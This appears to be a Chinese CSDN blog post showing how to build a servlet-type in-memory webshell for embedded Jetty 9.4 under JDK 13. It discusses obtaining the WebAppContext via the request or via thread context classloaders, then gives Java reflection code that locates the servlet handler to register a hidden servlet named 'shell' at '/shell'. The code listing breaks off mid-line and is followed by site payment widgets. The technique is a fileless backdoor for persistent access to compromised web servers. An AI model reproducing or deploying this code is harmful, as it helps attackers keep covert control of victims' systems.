高版本jdk下jetty servlet型内存马编写

测试环境为springboot + embeded jetty jetty-9.4.48.v20220622,jdk为13。

jetty内存马的研究类同于tomcat,获取webappcontext通常有两种方式:

一、通过request获取

传统方式是在有request对象时,通过它获取webappcontext对象

在这里插入图片描述
可以看到得到的对象为webappcontext类中嵌入类context(该类不能在系统初始化完成之后再添加listener、filter和servlet。

还有一种方法是通过Thread类获取thread对象,看能不能找到WebAppClassLoader,从而获取webappcontext对象。

在这里插入图片描述
classloader不为空的都是appclassloader,并没有webappclassloader。但是在非嵌入式jetty中确含有webappclassloaer(有兴趣的小伙伴可以分析一下具体原因)。

在这里插入图片描述
在获取了webappclassloader的基础上很容易就能够写出内存马。

        String servletName = "shell";
        String urlPattern = "/shell";

        Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
        threadMethod.setAccessible(true);
        Thread[] threads = (Thread[]) threadMethod.invoke(null);
        ClassLoader threadClassLoader = null;
        for (Thread thread : threads) {
   
            threadClassLoader = thread.getContextClassLoader();
            if (threadClassLoader != null) {
   
                
                if (threadClassLoader.toString().contains("WebAppClassLoader")) {
   
                    Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
                    fieldContext.setAccessible(true);
                    Object webAppContext = fieldContext.get(threadClassLoader);
                    Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
                    fieldServletHandler.setAccessible(true);
                    Object servletHandler = fieldServletHandler.get(webAppContext);

                    //check servlet if exist
                    Field fieldServlets = servletHandler.getClass().getDeclaredField("_
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值